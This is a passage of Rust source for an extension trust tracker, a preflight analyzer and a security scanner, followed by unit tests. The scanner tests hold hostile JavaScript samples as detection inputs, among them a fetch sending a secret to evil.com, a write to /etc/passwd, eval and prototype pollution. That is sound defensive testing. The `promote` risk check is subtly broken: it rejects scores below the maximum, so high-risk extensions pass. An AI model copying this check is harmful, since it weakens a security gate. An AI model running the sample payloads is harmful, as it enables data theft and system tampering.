2465 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
2466 match self {
2467 Self::Promote => f.write_str("promote"),
2468 Self::Demote => f.write_str("demote"),
2469 }
2470 }
2471}
2472
2473#[derive(Debug, Clone, Serialize, Deserialize)]
2475pub struct TrustTransitionEvent {
2476 pub schema: String,
2478 pub extension_id: String,
2480 pub from_state: ExtensionTrustState,
2482 pub to_state: ExtensionTrustState,
2484 pub kind: TrustTransitionKind,
2486 pub reason: String,
2488 pub operator_acknowledged: bool,
2490 pub risk_score: Option<u8>,
2492 pub recommendation: Option<InstallRecommendation>,
2494 pub timestamp: String,
2496}
2497
2498impl TrustTransitionEvent {
2499 pub fn to_json(&self) -> Result<String, serde_json::Error> {
2505 serde_json::to_string(self)
2506 }
2507}
2508
2509#[derive(Debug, Clone, PartialEq, Eq)]
2511pub enum TrustTransitionError {
2512 OperatorAckRequired {
2514 from: ExtensionTrustState,
2515 to: ExtensionTrustState,
2516 },
2517 InvalidTransition {
2520 from: ExtensionTrustState,
2521 to: ExtensionTrustState,
2522 },
2523 RiskTooHigh {
2525 target: ExtensionTrustState,
2526 risk_score: u8,
2527 max_allowed: u8,
2528 },
2529}
2530
2531impl fmt::Display for TrustTransitionError {
2532 fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
2533 match self {
2534 Self::OperatorAckRequired { from, to } => {
2535 write!(
2536 f,
2537 "operator acknowledgment required to promote {from} → {to}"
2538 )
2539 }
2540 Self::InvalidTransition { from, to } => {
2541 write!(f, "invalid trust transition: {from} → {to}")
2542 }
2543 Self::RiskTooHigh {
2544 target,
2545 risk_score,
2546 max_allowed,
2547 } => {
2548 write!(
2549 f,
2550 "risk score {risk_score} exceeds maximum {max_allowed} for {target} state"
2551 )
2552 }
2553 }
2554 }
2555}
2556
2557#[derive(Debug, Clone)]
2562pub struct ExtensionTrustTracker {
2563 extension_id: String,
2564 state: ExtensionTrustState,
2565 history: Vec<TrustTransitionEvent>,
2566}
2567
2568impl ExtensionTrustTracker {
2569 #[must_use]
2571 pub fn new(extension_id: &str, initial_state: ExtensionTrustState) -> Self {
2572 Self {
2573 extension_id: extension_id.to_string(),
2574 state: initial_state,
2575 history: Vec::new(),
2576 }
2577 }
2578
2579 #[must_use]
2582 pub fn from_risk_report(report: &InstallTimeRiskReport) -> Self {
2583 let state = match report.recommendation {
2584 InstallRecommendation::Block | InstallRecommendation::Review => {
2585 ExtensionTrustState::Quarantined
2586 }
2587 InstallRecommendation::Allow => ExtensionTrustState::Trusted,
2588 };
2589 Self::new(&report.extension_id, state)
2590 }
2591
2592 #[must_use]
2594 pub const fn state(&self) -> ExtensionTrustState {
2595 self.state
2596 }
2597
2598 #[must_use]
2600 pub fn extension_id(&self) -> &str {
2601 &self.extension_id
2602 }
2603
2604 #[must_use]
2606 pub fn history(&self) -> &[TrustTransitionEvent] {
2607 &self.history
2608 }
2609
2610 pub fn promote(
2624 &mut self,
2625 reason: &str,
2626 operator_ack: bool,
2627 risk_score: Option<u8>,
2628 recommendation: Option<InstallRecommendation>,
2629 ) -> Result<&TrustTransitionEvent, TrustTransitionError> {
2630 let target = match self.state {
2631 ExtensionTrustState::Quarantined => ExtensionTrustState::Restricted,
2632 ExtensionTrustState::Restricted => ExtensionTrustState::Trusted,
2633 ExtensionTrustState::Trusted => {
2634 return Err(TrustTransitionError::InvalidTransition {
2635 from: self.state,
2636 to: ExtensionTrustState::Trusted,
2637 });
2638 }
2639 };
2640
2641 if !operator_ack {
2642 return Err(TrustTransitionError::OperatorAckRequired {
2643 from: self.state,
2644 to: target,
2645 });
2646 }
2647
2648 if let Some(score) = risk_score {
2651 let max = match target {
2652 ExtensionTrustState::Restricted => 30,
2653 ExtensionTrustState::Trusted => 50,
2654 ExtensionTrustState::Quarantined => 0,
2655 };
2656 if score < max {
2657 return Err(TrustTransitionError::RiskTooHigh {
2658 target,
2659 risk_score: score,
2660 max_allowed: max,
2661 });
2662 }
2663 }
2664
2665 let event = TrustTransitionEvent {
2666 schema: TRUST_LIFECYCLE_SCHEMA.to_string(),
2667 extension_id: self.extension_id.clone(),
2668 from_state: self.state,
2669 to_state: target,
2670 kind: TrustTransitionKind::Promote,
2671 reason: reason.to_string(),
2672 operator_acknowledged: true,
2673 risk_score,
2674 recommendation,
2675 timestamp: now_rfc3339(),
2676 };
2677
2678 self.state = target;
2679 self.history.push(event);
2680 Ok(self.history.last().unwrap())
2681 }
2682
2683 pub fn demote(&mut self, reason: &str) -> Result<&TrustTransitionEvent, TrustTransitionError> {
2693 if self.state == ExtensionTrustState::Quarantined {
2694 return Err(TrustTransitionError::InvalidTransition {
2695 from: self.state,
2696 to: ExtensionTrustState::Quarantined,
2697 });
2698 }
2699
2700 let event = TrustTransitionEvent {
2701 schema: TRUST_LIFECYCLE_SCHEMA.to_string(),
2702 extension_id: self.extension_id.clone(),
2703 from_state: self.state,
2704 to_state: ExtensionTrustState::Quarantined,
2705 kind: TrustTransitionKind::Demote,
2706 reason: reason.to_string(),
2707 operator_acknowledged: false,
2708 risk_score: None,
2709 recommendation: None,
2710 timestamp: now_rfc3339(),
2711 };
2712
2713 self.state = ExtensionTrustState::Quarantined;
2714 self.history.push(event);
2715 Ok(self.history.last().unwrap())
2716 }
2717
2718 pub fn history_jsonl(&self) -> Result<String, serde_json::Error> {
2724 let mut out = String::new();
2725 for (i, event) in self.history.iter().enumerate() {
2726 if i > 0 {
2727 out.push('\n');
2728 }
2729 out.push_str(&serde_json::to_string(event)?);
2730 }
2731 Ok(out)
2732 }
2733}
2734
2735#[must_use]
2738pub const fn initial_trust_state(report: &InstallTimeRiskReport) -> ExtensionTrustState {
2739 match report.recommendation {
2740 InstallRecommendation::Block | InstallRecommendation::Review => {
2741 ExtensionTrustState::Quarantined
2742 }
2743 InstallRecommendation::Allow => ExtensionTrustState::Trusted,
2744 }
2745}
2746
2747#[must_use]
2754#[allow(clippy::match_same_arms)] pub fn is_hostcall_allowed_for_trust(
2756 trust_state: ExtensionTrustState,
2757 hostcall_category: &str,
2758) -> bool {
2759 match hostcall_category {
2760 "register" | "tool" | "slash_command" | "shortcut" | "flag" | "event_hook" | "log" => true,
2762 "read" | "list" | "stat" | "session_read" | "ui" => trust_state.allows_read_hostcalls(),
2764 "write" | "exec" | "env" | "http" | "session_write" | "fs_write" | "fs_delete"
2766 | "fs_mkdir" => trust_state.allows_dangerous_hostcalls(),
2767 _ => trust_state.allows_dangerous_hostcalls(),
2769 }
2770}
2771
2772fn now_rfc3339() -> String {
2773 chrono::Utc::now().to_rfc3339_opts(chrono::SecondsFormat::Millis, true)
2774}
2775
2776#[cfg(test)]
2781mod tests {
2782 use super::*;
2783 use crate::extensions::ExtensionPolicy;
2784
2785 #[test]
2788 fn module_support_severity_mapping() {
2789 assert_eq!(ModuleSupport::Real.severity(), FindingSeverity::Info);
2790 assert_eq!(ModuleSupport::Partial.severity(), FindingSeverity::Warning);
2791 assert_eq!(ModuleSupport::Stub.severity(), FindingSeverity::Warning);
2792 assert_eq!(ModuleSupport::ErrorThrow.severity(), FindingSeverity::Error);
2793 assert_eq!(ModuleSupport::Missing.severity(), FindingSeverity::Error);
2794 }
2795
2796 #[test]
2797 fn module_support_display() {
2798 assert_eq!(format!("{}", ModuleSupport::Real), "fully supported");
2799 assert_eq!(format!("{}", ModuleSupport::Missing), "not available");
2800 }
2801
2802 #[test]
2803 fn module_support_serde_roundtrip() {
2804 for variant in [
2805 ModuleSupport::Real,
2806 ModuleSupport::Partial,
2807 ModuleSupport::Stub,
2808 ModuleSupport::ErrorThrow,
2809 ModuleSupport::Missing,
2810 ] {
2811 let json = serde_json::to_string(&variant).unwrap();
2812 let back: ModuleSupport = serde_json::from_str(&json).unwrap();
2813 assert_eq!(variant, back);
2814 }
2815 }
2816
2817 #[test]
2820 fn severity_ordering() {
2821 assert!(FindingSeverity::Info < FindingSeverity::Warning);
2822 assert!(FindingSeverity::Warning < FindingSeverity::Error);
2823 }
2824
2825 #[test]
2828 fn known_modules_p0_are_real() {
2829 assert_eq!(known_module_support("path"), Some(ModuleSupport::Real));
2830 assert_eq!(known_module_support("node:path"), Some(ModuleSupport::Real));
2831 assert_eq!(known_module_support("os"), Some(ModuleSupport::Real));
2832 assert_eq!(known_module_support("node:os"), Some(ModuleSupport::Real));
2833 assert_eq!(known_module_support("fs"), Some(ModuleSupport::Real));
2834 assert_eq!(known_module_support("node:fs"), Some(ModuleSupport::Real));
2835 assert_eq!(
2836 known_module_support("child_process"),
2837 Some(ModuleSupport::Real)
2838 );
2839 }
2840
2841 #[test]
2842 fn known_modules_fs_promises_partial() {
2843 assert_eq!(
2844 known_module_support("node:fs/promises"),
2845 Some(ModuleSupport::Partial)
2846 );
2847 assert_eq!(
2848 known_module_support("fs/promises"),
2849 Some(ModuleSupport::Partial)
2850 );
2851 }
2852
2853 #[test]
2854 fn known_modules_error_throw() {
2855 assert_eq!(
2856 known_module_support("node:net"),
2857 Some(ModuleSupport::ErrorThrow)
2858 );
2859 assert_eq!(
2860 known_module_support("node:tls"),
2861 Some(ModuleSupport::ErrorThrow)
2862 );
2863 assert_eq!(known_module_support("dns"), Some(ModuleSupport::ErrorThrow));
2864 }
2865
2866 #[test]
2867 fn known_modules_stubs() {
2868 assert_eq!(known_module_support("zlib"), Some(ModuleSupport::Stub));
2869 assert_eq!(known_module_support("node:vm"), Some(ModuleSupport::Stub));
2870 assert_eq!(known_module_support("chokidar"), Some(ModuleSupport::Stub));
2871 }
2872
2873 #[test]
2874 fn unknown_module_returns_none() {
2875 assert_eq!(known_module_support("my-custom-lib"), None);
2876 assert_eq!(known_module_support("./relative"), None);
2877 }
2878
2879 #[test]
2882 fn remediation_for_real_is_none() {
2883 assert!(module_remediation("path", ModuleSupport::Real).is_none());
2884 }
2885
2886 #[test]
2887 fn remediation_for_net_error_throw() {
2888 let r = module_remediation("node:net", ModuleSupport::ErrorThrow);
2889 assert!(r.is_some());
2890 assert!(r.unwrap().contains("fetch()"));
2891 }
2892
2893 #[test]
2894 fn remediation_for_fs_promises_partial() {
2895 let r = module_remediation("fs/promises", ModuleSupport::Partial);
2896 assert!(r.is_some());
2897 assert!(r.unwrap().contains("synchronous"));
2898 }
2899
2900 #[test]
2903 fn extract_specifier_from_message_works() {
2904 let msg = "import of unsupported builtin `node:vm`";
2905 assert_eq!(
2906 extract_specifier_from_message(msg),
2907 Some("node:vm".to_string())
2908 );
2909 }
2910
2911 #[test]
2912 fn extract_specifier_from_message_none() {
2913 assert_eq!(extract_specifier_from_message("no backticks"), None);
2914 }
2915
2916 #[test]
2917 fn extract_import_specifiers_simple_import() {
2918 let specs = extract_import_specifiers_simple("import fs from 'node:fs';");
2919 assert_eq!(specs, vec!["node:fs"]);
2920 }
2921
2922 #[test]
2923 fn extract_import_specifiers_simple_require() {
2924 let specs = extract_import_specifiers_simple("const fs = require('fs');");
2925 assert_eq!(specs, vec!["fs"]);
2926 }
2927
2928 #[test]
2929 fn extract_import_specifiers_skips_relative() {
2930 let specs = extract_import_specifiers_simple("import foo from './foo';");
2931 assert!(specs.is_empty());
2932 }
2933
2934 #[test]
2935 fn extract_quoted_string_double() {
2936 assert_eq!(
2937 extract_quoted_string("\"hello\" rest"),
2938 Some("hello".to_string())
2939 );
2940 }
2941
2942 #[test]
2943 fn extract_quoted_string_single() {
2944 assert_eq!(
2945 extract_quoted_string("'hello' rest"),
2946 Some("hello".to_string())
2947 );
2948 }
2949
2950 #[test]
2951 fn extract_quoted_string_no_quote() {
2952 assert_eq!(extract_quoted_string("no quotes"), None);
2953 }
2954
2955 #[test]
2958 fn empty_findings_gives_pass() {
2959 let report = PreflightReport::from_findings("test-ext".into(), vec![]);
2960 assert_eq!(report.verdict, PreflightVerdict::Pass);
2961 assert_eq!(report.summary.errors, 0);
2962 assert_eq!(report.summary.warnings, 0);
2963 }
2964
2965 #[test]
2966 fn warning_findings_gives_warn() {
2967 let findings = vec![PreflightFinding {
2968 severity: FindingSeverity::Warning,
2969 category: FindingCategory::ModuleCompat,
2970 message: "stub".into(),
2971 remediation: None,
2972 file: None,
2973 line: None,
2974 }];
2975 let report = PreflightReport::from_findings("test-ext".into(), findings);
2976 assert_eq!(report.verdict, PreflightVerdict::Warn);
2977 assert_eq!(report.summary.warnings, 1);
2978 }
2979
2980 #[test]
2981 fn error_findings_gives_fail() {
2982 let findings = vec![
2983 PreflightFinding {
2984 severity: FindingSeverity::Error,
2985 category: FindingCategory::CapabilityPolicy,
2986 message: "denied".into(),
2987 remediation: None,
2988 file: None,
2989 line: None,
2990 },
2991 PreflightFinding {
2992 severity: FindingSeverity::Warning,
2993 category: FindingCategory::ModuleCompat,
2994 message: "stub".into(),
2995 remediation: None,
2996 file: None,
2997 line: None,
2998 },
2999 ];
3000 let report = PreflightReport::from_findings("test-ext".into(), findings);
3001 assert_eq!(report.verdict, PreflightVerdict::Fail);
3002 assert_eq!(report.summary.errors, 1);
3003 assert_eq!(report.summary.warnings, 1);
3004 }
3005
3006 #[test]
3007 fn report_schema_version() {
3008 let report = PreflightReport::from_findings("x".into(), vec![]);
3009 assert_eq!(report.schema, PREFLIGHT_SCHEMA);
3010 }
3011
3012 #[test]
3013 fn security_scan_report_json_roundtrip() {
3014 let findings = vec![PreflightFinding {
3015 severity: FindingSeverity::Warning,
3016 category: FindingCategory::ModuleCompat,
3017 message: "test".into(),
3018 remediation: Some("fix it".into()),
3019 file: Some("index.ts".into()),
3020 line: Some(42),
3021 }];
3022 let report = PreflightReport::from_findings("ext-1".into(), findings);
3023 let json = report.to_json().unwrap();
3024 let back: PreflightReport = serde_json::from_str(&json).unwrap();
3025 assert_eq!(back.verdict, PreflightVerdict::Warn);
3026 assert_eq!(back.findings.len(), 1);
3027 assert_eq!(back.findings[0].line, Some(42));
3028 }
3029
3030 #[test]
3031 fn report_markdown_contains_verdict() {
3032 let report = PreflightReport::from_findings("my-ext".into(), vec![]);
3033 let md = report.render_markdown();
3034 assert!(md.contains("PASS"));
3035 assert!(md.contains("my-ext"));
3036 }
3037
3038 #[test]
3039 fn report_markdown_lists_findings() {
3040 let findings = vec![PreflightFinding {
3041 severity: FindingSeverity::Error,
3042 category: FindingCategory::ForbiddenPattern,
3043 message: "process.binding".into(),
3044 remediation: Some("remove it".into()),
3045 file: Some("main.ts".into()),
3046 line: Some(10),
3047 }];
3048 let report = PreflightReport::from_findings("ext".into(), findings);
3049 let md = report.render_markdown();
3050 assert!(md.contains("process.binding"));
3051 assert!(md.contains("main.ts:10"));
3052 assert!(md.contains("remove it"));
3053 }
3054
3055 #[test]
3058 fn analyze_source_clean_extension() {
3059 let policy = ExtensionPolicy::default();
3060 let analyzer = PreflightAnalyzer::new(&policy, None);
3061 let source = r#"
3062import { Type } from "@sinclair/typebox";
3063import path from "node:path";
3064
3065export default function(pi) {
3066 pi.tool({ name: "hello", schema: Type.Object({}) });
3067}
3068"#;
3069 let report = analyzer.analyze_source("clean-ext", source);
3070 assert_eq!(report.verdict, PreflightVerdict::Pass);
3071 }
3072
3073 #[test]
3074 fn analyze_source_missing_module() {
3075 let policy = ExtensionPolicy::default();
3076 let analyzer = PreflightAnalyzer::new(&policy, None);
3077 let source = r#"
3078import net from "node:net";
3079"#;
3080 let report = analyzer.analyze_source("net-ext", source);
3081 assert_eq!(report.verdict, PreflightVerdict::Fail);
3082 assert!(
3083 report
3084 .findings
3085 .iter()
3086 .any(|f| f.message.contains("node:net"))
3087 );
3088 }
3089
3090 #[test]
3091 fn analyze_source_denied_capability() {
3092 let policy = crate::extensions::PolicyProfile::Safe.to_policy();
3094 let analyzer = PreflightAnalyzer::new(&policy, None);
3095 let source = r#"
3096const { exec } = require("child_process");
3097export default function(pi) {
3098 pi.exec("ls");
3099}
3100"#;
3101 let report = analyzer.analyze_source("exec-ext", source);
3102 assert_eq!(report.verdict, PreflightVerdict::Fail);
3103 assert!(
3104 report
3105 .findings
3106 .iter()
3107 .any(|f| f.category == FindingCategory::CapabilityPolicy
3108 && f.message.contains("exec"))
3109 );
3110 }
3111
3112 #[test]
3113 fn analyze_source_env_prompts_on_default_policy() {
3114 let policy = ExtensionPolicy::default();
3115 let analyzer = PreflightAnalyzer::new(&policy, None);
3116 let source = r"
3117const key = process.env.API_KEY;
3118";
3119 let report = analyzer.analyze_source("env-ext", source);
3120 assert!(report.findings.iter().any(|f| f.message.contains("env")));
3122 }
3123
3124 #[test]
3125 fn analyze_source_stub_module_warns() {
3126 let policy = ExtensionPolicy::default();
3127 let analyzer = PreflightAnalyzer::new(&policy, None);
3128 let source = r#"
3129import chokidar from "chokidar";
3130"#;
3131 let report = analyzer.analyze_source("watch-ext", source);
3132 assert_eq!(report.verdict, PreflightVerdict::Warn);
3133 assert!(
3134 report
3135 .findings
3136 .iter()
3137 .any(|f| f.message.contains("chokidar"))
3138 );
3139 }
3140
3141 #[test]
3142 fn analyze_source_per_extension_override_allows() {
3143 use crate::extensions::ExtensionOverride;
3144 use std::collections::HashMap;
3145
3146 let mut per_ext = HashMap::new();
3151 per_ext.insert(
3152 "my-ext".to_string(),
3153 ExtensionOverride {
3154 mode: None,
3155 allow: vec!["exec".to_string()],
3156 deny: vec![],
3157 quota: None,
3158 },
3159 );
3160
3161 let policy = ExtensionPolicy {
3162 mode: crate::extensions::ExtensionPolicyMode::Strict,
3163 max_memory_mb: 256,
3164 default_caps: vec!["read".to_string(), "write".to_string()],
3165 deny_caps: vec![], per_extension: per_ext,
3167 ..Default::default()
3168 };
3169 let analyzer = PreflightAnalyzer::new(&policy, Some("my-ext"));
3170 let source = r#"
3171const { exec } = require("child_process");
3172pi.exec("ls");
3173"#;
3174 let report = analyzer.analyze_source("my-ext", source);
3175 let exec_denied = report.findings.iter().any(|f| {
3177 f.category == FindingCategory::CapabilityPolicy
3178 && f.message.contains("exec")
3179 && f.severity == FindingSeverity::Error
3180 });
3181 assert!(
3182 !exec_denied,
3183 "exec should be allowed via per-extension override"
3184 );
3185 }
3186
3187 #[test]
3190 fn verdict_display() {
3191 assert_eq!(format!("{}", PreflightVerdict::Pass), "PASS");
3192 assert_eq!(format!("{}", PreflightVerdict::Warn), "WARN");
3193 assert_eq!(format!("{}", PreflightVerdict::Fail), "FAIL");
3194 }
3195
3196 #[test]
3197 fn verdict_serde_roundtrip() {
3198 for v in [
3199 PreflightVerdict::Pass,
3200 PreflightVerdict::Warn,
3201 PreflightVerdict::Fail,
3202 ] {
3203 let json = serde_json::to_string(&v).unwrap();
3204 let back: PreflightVerdict = serde_json::from_str(&json).unwrap();
3205 assert_eq!(v, back);
3206 }
3207 }
3208
3209 #[test]
3212 fn finding_category_display() {
3213 assert_eq!(
3214 format!("{}", FindingCategory::ModuleCompat),
3215 "module_compat"
3216 );
3217 assert_eq!(
3218 format!("{}", FindingCategory::CapabilityPolicy),
3219 "capability_policy"
3220 );
3221 assert_eq!(
3222 format!("{}", FindingCategory::ForbiddenPattern),
3223 "forbidden_pattern"
3224 );
3225 assert_eq!(
3226 format!("{}", FindingCategory::FlaggedPattern),
3227 "flagged_pattern"
3228 );
3229 }
3230
3231 #[test]
3234 fn confidence_score_no_issues() {
3235 let score = ConfidenceScore::from_counts(0, 0);
3236 assert_eq!(score.value(), 100);
3237 assert_eq!(score.label(), "High");
3238 }
3239
3240 #[test]
3241 fn confidence_score_one_warning() {
3242 let score = ConfidenceScore::from_counts(0, 1);
3243 assert_eq!(score.value(), 90);
3244 assert_eq!(score.label(), "High");
3245 }
3246
3247 #[test]
3248 fn confidence_score_two_warnings() {
3249 let score = ConfidenceScore::from_counts(0, 2);
3250 assert_eq!(score.value(), 80);
3251 assert_eq!(score.label(), "Medium");
3252 }
3253
3254 #[test]
3255 fn confidence_score_one_error() {
3256 let score = ConfidenceScore::from_counts(1, 0);
3257 assert_eq!(score.value(), 75);
3258 assert_eq!(score.label(), "Medium");
3259 }
3260
3261 #[test]
3262 fn confidence_score_many_errors_floors_at_zero() {
3263 let score = ConfidenceScore::from_counts(5, 5);
3264 assert_eq!(score.value(), 0);
3265 assert_eq!(score.label(), "Very Low");
3266 }
3267
3268 #[test]
3269 fn confidence_score_display() {
3270 let score = ConfidenceScore::from_counts(0, 0);
3271 assert_eq!(format!("{score}"), "100% (High)");
3272 let score = ConfidenceScore::from_counts(1, 2);
3273 assert_eq!(format!("{score}"), "55% (Low)");
3274 }
3275
3276 #[test]
3277 fn confidence_score_serde_roundtrip() {
3278 let score = ConfidenceScore::from_counts(1, 1);
3279 let json = serde_json::to_string(&score).unwrap();
3280 let back: ConfidenceScore = serde_json::from_str(&json).unwrap();
3281 assert_eq!(score, back);
3282 }
3283
3284 #[test]
3287 fn risk_banner_pass() {
3288 let report = PreflightReport::from_findings("ext".into(), vec![]);
3289 assert!(report.risk_banner.contains("compatible"));
3290 assert!(report.risk_banner.contains("100%"));
3291 }
3292
3293 #[test]
3294 fn risk_banner_warn() {
3295 let findings = vec![PreflightFinding {
3296 severity: FindingSeverity::Warning,
3297 category: FindingCategory::ModuleCompat,
3298 message: "stub".into(),
3299 remediation: None,
3300 file: None,
3301 line: None,
3302 }];
3303 let report = PreflightReport::from_findings("ext".into(), findings);
3304 assert!(report.risk_banner.contains("may have issues"));
3305 assert!(report.risk_banner.contains("1 warning"));
3306 }
3307
3308 #[test]
3309 fn risk_banner_fail() {
3310 let findings = vec![PreflightFinding {
3311 severity: FindingSeverity::Error,
3312 category: FindingCategory::ForbiddenPattern,
3313 message: "bad".into(),
3314 remediation: None,
3315 file: None,
3316 line: None,
3317 }];
3318 let report = PreflightReport::from_findings("ext".into(), findings);
3319 assert!(report.risk_banner.contains("incompatible"));
3320 assert!(report.risk_banner.contains("1 error"));
3321 }
3322
3323 #[test]
3326 fn render_markdown_includes_confidence() {
3327 let report = PreflightReport::from_findings("ext".into(), vec![]);
3328 let md = report.render_markdown();
3329 assert!(md.contains("Confidence"));
3330 assert!(md.contains("100%"));
3331 }
3332
3333 #[test]
3334 fn render_markdown_includes_risk_banner() {
3335 let findings = vec![PreflightFinding {
3336 severity: FindingSeverity::Warning,
3337 category: FindingCategory::ModuleCompat,
3338 message: "stub".into(),
3339 remediation: None,
3340 file: None,
3341 line: None,
3342 }];
3343 let report = PreflightReport::from_findings("ext".into(), findings);
3344 let md = report.render_markdown();
3345 assert!(md.contains("> "));
3346 assert!(md.contains("may have issues"));
3347 }
3348
3349 #[test]
3352 fn report_json_includes_confidence() {
3353 let report = PreflightReport::from_findings("ext".into(), vec![]);
3354 let json = report.to_json().unwrap();
3355 assert!(json.contains("\"confidence\""));
3356 assert!(json.contains("\"risk_banner\""));
3357 }
3358
3359 #[test]
3362 fn capability_remediation_exec() {
3363 let r = capability_remediation("exec");
3364 assert!(r.contains("allow-dangerous"));
3365 }
3366
3367 #[test]
3368 fn capability_remediation_env() {
3369 let r = capability_remediation("env");
3370 assert!(r.contains("per-extension"));
3371 }
3372
3373 #[test]
3374 fn capability_remediation_other() {
3375 let r = capability_remediation("http");
3376 assert!(r.contains("default_caps"));
3377 }
3378
3379 fn scan(source: &str) -> SecurityScanReport {
3384 SecurityScanner::scan_source("test-ext", source)
3385 }
3386
3387 fn has_rule(report: &SecurityScanReport, rule: SecurityRuleId) -> bool {
3388 report.findings.iter().any(|f| f.rule_id == rule)
3389 }
3390
3391 #[test]
3394 fn risk_tier_ordering() {
3395 assert!(RiskTier::Critical < RiskTier::High);
3396 assert!(RiskTier::High < RiskTier::Medium);
3397 assert!(RiskTier::Medium < RiskTier::Low);
3398 }
3399
3400 #[test]
3401 fn risk_tier_serde_roundtrip() {
3402 for tier in [
3403 RiskTier::Critical,
3404 RiskTier::High,
3405 RiskTier::Medium,
3406 RiskTier::Low,
3407 ] {
3408 let json = serde_json::to_string(&tier).unwrap();
3409 let back: RiskTier = serde_json::from_str(&json).unwrap();
3410 assert_eq!(tier, back);
3411 }
3412 }
3413
3414 #[test]
3415 fn risk_tier_display() {
3416 assert_eq!(format!("{}", RiskTier::Critical), "critical");
3417 assert_eq!(format!("{}", RiskTier::Low), "low");
3418 }
3419
3420 #[test]
3423 fn rule_id_serde_roundtrip() {
3424 let rule = SecurityRuleId::EvalUsage;
3425 let json = serde_json::to_string(&rule).unwrap();
3426 assert_eq!(json, "\"SEC-EVAL-001\"");
3427 let back: SecurityRuleId = serde_json::from_str(&json).unwrap();
3428 assert_eq!(rule, back);
3429 }
3430
3431 #[test]
3432 fn rule_id_default_tier_consistency() {
3433 assert_eq!(SecurityRuleId::EvalUsage.default_tier(), RiskTier::Critical);
3435 assert_eq!(
3436 SecurityRuleId::ProcessBinding.default_tier(),
3437 RiskTier::Critical
3438 );
3439 assert_eq!(
3441 SecurityRuleId::HardcodedSecret.default_tier(),
3442 RiskTier::High
3443 );
3444 assert_eq!(
3446 SecurityRuleId::ProcessEnvAccess.default_tier(),
3447 RiskTier::Medium
3448 );
3449 assert_eq!(
3451 SecurityRuleId::DebuggerStatement.default_tier(),
3452 RiskTier::Low
3453 );
3454 }
3455
3456 #[test]
3459 fn clean_extension_has_no_findings() {
3460 let report = scan(
3461 r#"
3462import path from "node:path";
3463const p = path.join("a", "b");
3464export default function init(pi) {
3465 pi.tool({ name: "hello", schema: {} });
3466}
3467"#,
3468 );
3469 assert!(report.findings.is_empty());
3470 assert_eq!(report.overall_tier, RiskTier::Low);
3471 assert!(report.verdict.starts_with("CLEAN"));
3472 assert!(!report.should_block());
3473 assert!(!report.needs_review());
3474 }
3475
3476 #[test]
3479 fn detect_eval_usage() {
3480 let report = scan("const x = eval('1+1');");
3481 assert!(has_rule(&report, SecurityRuleId::EvalUsage));
3482 assert_eq!(report.overall_tier, RiskTier::Critical);
3483 assert!(report.should_block());
3484 }
3485
3486 #[test]
3487 fn eval_in_identifier_not_flagged() {
3488 let report = scan("const retrieval = getData();");
3489 assert!(!has_rule(&report, SecurityRuleId::EvalUsage));
3490 }
3491
3492 #[test]
3493 fn detect_new_function() {
3494 let report = scan("const fn = new Function('a', 'return a + 1');");
3495 assert!(has_rule(&report, SecurityRuleId::NewFunctionUsage));
3496 assert_eq!(report.overall_tier, RiskTier::Critical);
3497 }
3498
3499 #[test]
3500 fn new_function_empty_not_flagged() {
3501 let report = scan("const fn = new Function();");
3504 assert!(!has_rule(&report, SecurityRuleId::NewFunctionUsage));
3505 }
3506
3507 #[test]
3508 fn detect_process_binding() {
3509 let report = scan("process.binding('fs');");
3510 assert!(has_rule(&report, SecurityRuleId::ProcessBinding));
3511 assert_eq!(report.overall_tier, RiskTier::Critical);
3512 }
3513
3514 #[test]
3515 fn detect_process_dlopen() {
3516 let report = scan("process.dlopen(module, '/bad/addon.node');");
3517 assert!(has_rule(&report, SecurityRuleId::ProcessDlopen));
3518 }
3519
3520 #[test]
3521 fn detect_proto_pollution() {
3522 let report = scan("obj.__proto__ = malicious;");
3523 assert!(has_rule(&report, SecurityRuleId::ProtoPollution));
3524 assert_eq!(report.overall_tier, RiskTier::Critical);
3525 }
3526
3527 #[test]
3528 fn detect_set_prototype_of() {
3529 let report = scan("Object.setPrototypeOf(target, evil);");
3530 assert!(has_rule(&report, SecurityRuleId::ProtoPollution));
3531 }
3532
3533 #[test]
3534 fn detect_require_cache_manipulation() {
3535 let report = scan("delete require.cache[require.resolve('./module')];");
3536 assert!(has_rule(&report, SecurityRuleId::RequireCacheManip));
3537 assert_eq!(report.overall_tier, RiskTier::Critical);
3538 }
3539
3540 #[test]
3543 fn detect_hardcoded_secret() {
3544 let report = scan(r#"const api_key = "sk-ant-api03-abc123";"#);
3545 assert!(has_rule(&report, SecurityRuleId::HardcodedSecret));
3546 assert!(report.needs_review());
3547 }
3548
3549 #[test]
3550 fn detect_hardcoded_password() {
3551 let report = scan(r#"const password = "s3cretP@ss";"#);
3552 assert!(has_rule(&report, SecurityRuleId::HardcodedSecret));
3553 }
3554
3555 #[test]
3556 fn env_lookup_not_flagged_as_secret() {
3557 let report = scan("const key = process.env.API_KEY;");
3558 assert!(has_rule(&report, SecurityRuleId::ProcessEnvAccess));
3560 assert!(!has_rule(&report, SecurityRuleId::HardcodedSecret));
3561 }
3562
3563 #[test]
3564 fn empty_secret_not_flagged() {
3565 let report = scan(r#"const api_key = "";"#);
3566 assert!(!has_rule(&report, SecurityRuleId::HardcodedSecret));
3567 }
3568
3569 #[test]
3570 fn detect_token_prefix() {
3571 let report = scan(r#"const token = "ghp_abc123def456";"#);
3572 assert!(has_rule(&report, SecurityRuleId::HardcodedSecret));
3573 }
3574
3575 #[test]
3576 fn detect_dynamic_import() {
3577 let report = scan("const mod = await import(userInput);");
3578 assert!(has_rule(&report, SecurityRuleId::DynamicImport));
3579 }
3580
3581 #[test]
3582 fn static_import_not_flagged_as_dynamic() {
3583 let report = scan("import fs from 'node:fs';");
3584 assert!(!has_rule(&report, SecurityRuleId::DynamicImport));
3585 }
3586
3587 #[test]
3588 fn detect_define_property_on_global() {
3589 let report = scan("Object.defineProperty(globalThis, 'fetch', { value: evilFetch });");
3590 assert!(has_rule(&report, SecurityRuleId::DefinePropertyAbuse));
3591 }
3592
3593 #[test]
3594 fn detect_network_exfiltration() {
3595 let report = scan("fetch(`https://evil.com/?data=${secret}`);");
3596 assert!(has_rule(&report, SecurityRuleId::NetworkExfiltration));
3597 }
3598
3599 #[test]
3600 fn detect_sensitive_path_write() {
3601 let report = scan("fs.writeFileSync('/etc/passwd', payload);");
3602 assert!(has_rule(&report, SecurityRuleId::SensitivePathWrite));
3603 }
3604
3605 #[test]
3606 fn normal_write_not_flagged() {
3607 let report = scan("fs.writeFileSync('/tmp/out.txt', data);");
3608 assert!(!has_rule(&report, SecurityRuleId::SensitivePathWrite));
3609 }
3610
3611 #[test]
3614 fn detect_process_env() {
